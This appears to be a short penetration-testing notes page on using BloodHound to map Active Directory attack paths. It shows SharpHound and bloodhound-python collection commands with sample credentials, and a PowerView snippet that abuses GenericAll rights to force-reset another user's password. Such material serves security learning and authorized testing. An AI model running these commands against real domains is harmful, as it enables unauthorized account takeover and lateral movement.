Bloodhound
BloodHound uses graph theory to reveal the hidden and unintended relationships within an AD.
What is Bloodhound
BloodHound is a powerful tool which everages graph theory to uncover hidden connections within Active Directory. This enables both attackers and defenders to visualize complex attack paths that might otherwise go unnoticed.
Bloodhound will show you the rights users have over others and this way show you a path for lateral movement. Bloodhound will also tell you what abuse is possible and provide the command to achieve this.
Extracting information with Sharphound
To get all the data we need to import in Bloodhound we can use Sharphound. This will create a .zip file with within .json files which can be importinto Bloodhound.
.\SharpHound.exe -c All --zipfilename ZENCORP
Bloodhound.py
Bloodhound.py will also retrieve all information but does so from Linux.
sudo bloodhound-python -u 'james' -p 'pass123' -ns 172.16.5.5 -d zencorp.local -c all
Start Bloodhound
When starting Bloodhound for first time you have to change the password after starting the console
Upload the JSON files

In this case we had credentials of Oliva user so we are starting there to see what rights she has. In the left pane search for Oliva and select it when the result is returned. First thing to check is OUTBOUND OBJECT CONTROL because this will identify potential lateral movement.
Clicking on Transitive Object Control shows Olivia has GenericAll over Michael and Michael has ForceChangePassword over Benjamin.

GenericallAll
Right click on Genericall and choosing help will tell us what GenericAll is and how it can be abused. Going to the tab Windows Abuse it tells us we can Kerberoast or Force Change Password. Bloodhound even provides the commands for it.
# Save password in SecPassword
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
# Credential object stores a username and password
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\mczen', $SecPassword)
# Save new password in UserPassword
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
# Set new password
Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred

Custom queries
Queries will help you find interesting users and important things in Bloodhound.
curl -o ~/.config/bloodhound/customqueries.json "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json"
=
Last updated
Was this helpful?